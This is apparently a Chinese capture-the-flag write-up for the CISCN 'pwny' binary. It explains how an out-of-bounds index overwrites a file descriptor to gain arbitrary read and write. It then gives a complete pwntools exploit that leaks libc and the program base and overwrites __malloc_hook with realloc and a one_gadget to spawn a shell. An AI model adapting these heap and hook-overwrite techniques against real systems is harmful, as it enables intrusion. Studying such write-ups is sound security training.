pwny
文件下载
0.检查保护
1 2 3 4 5 6 7 8 9 10
| winter@ubuntu:~/ciscn$ file pwny pwny: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a14a51d7799ec9c936f0c8096c737470a079001b, stripped winter@ubuntu:~/ciscn$ checksec pwny [*] '/home/winter/ciscn/pwny' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
|
64位程序,保护全开。
1.程序流程
init
最开始有一个函数,进行初始化操作setvbuf,并且打开一个文件设备’/dev/urandom’,并且将文件描述符存储在了bss上0x202860的位置。
fun_write函数
- 请求输入偏移
- 偏移存储在v0中
- 从文件描述符0x202860中读取数据,存储到v2中
- 将v2的值赋值给(0x202060+偏移)的地址
fun_read函数
与fun_write函数类似,只不过最后的赋值变成了,打印(0x202060+偏移)的内容。
2.漏洞利用
函数fun_read和fun_write,都有函数
很显然,需要将byte_202860修改为常用0 => 控制v2 => 根据整数溢出,fun_write获得任意地址写,fun_read获得任意地址读。
byte_202860 = 0
看fun_write函数:
首先,byte_202860
在qword_202060
下面100字节处,所以,只要输入的idx为0x100,那么就可以修改byte_202860的值。
其次,由于v2的值是从/dev/urandom里面读取的,所以第一次修改byte_202860为一个随机值。
但是,如果再来一次,由于上次byte_202860被修改为一个随机值,此时找不到对应的文件描述符,那么,取出来的数都为0,则,v2的值为0,可以再次修改byte_202860的值为0,则成功修改byte_202860为0。
1 2 3
| read((unsigned __int8)byte_202860, &v2, 8uLL); => read(0, &v2, 8uLL);
|
v2的值可以控制,那么就控制了bss上的数据,可以读可以写。
步骤
- 修改byte_202860=0
- 读bss上stderr 的地址,泄露libc
- 读data上off_202008,泄露程序基地址
- 修改malloc_hook为one_gadget【需要realloc调整栈帧】
- scanf的时候,读入一个很大的数【‘1’*0x400(格式化参数是ld,要数字才能读入)】,会进行一次malloc
- getshell
3.完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| from pwn import *
file = "./pwny"
libc_path = "./libc-2.27.so" p = process(file, env={"LD_PRELOAD":libc_path}) libc = ELF(libc_path) context.log_level = 'debug'
def cmd(choice): p.recvuntil("Your choice: ") p.sendline(str(choice))
def fun_read(index): cmd(1) p.recvuntil("Index: ") p.sendline(index)
def fun_write(index): cmd(2) p.recvuntil("Index: ") p.sendline(str(index))
fun_write(0x100) fun_write(0x100)
fun_read(p64(0xfffffffffffffffc)) p.recvuntil("Result: ") _IO_2_1_stderr_ = int(p.recv(12).strip(),16) log.success("_IO_2_1_stderr_:"+hex(_IO_2_1_stderr_)) libc_base = _IO_2_1_stderr_ - libc.sym['_IO_2_1_stderr_'] log.success("libc_base:"+hex(libc_base))
fun_read(p64(0xFFFFFFFFFFFFFFF5)) p.recvuntil("Result: ") data = int(p.recv(12).strip(),16) log.success("data:"+hex(data)) pro_base = data -0x202008 log.success("pro_base:"+hex(pro_base))
gadget = [0x4f3d5,0x4f432,0x10a41c] one_gadget = libc_base + gadget[1] log.success("one_gadget:"+hex(one_gadget))
malloc_hook = libc_base + libc.sym['__malloc_hook'] realloc = libc_base + libc.sym['realloc'] offset = (malloc_hook - (pro_base + 0x202060)) / 8
fun_write(offset) p.sendline(p64(realloc+4))
fun_write(offset-1) p.sendline(p64(one_gadget))
cmd('1'*0x400) p.interactive()
|
lonelywolf
注意:
- 本次给的libc是新版的libc
- 旧版libc没有检查tcache的double free
- 新版有了
2.27堆保护和2.31一样 => 用2.31做 => 换2.29的libc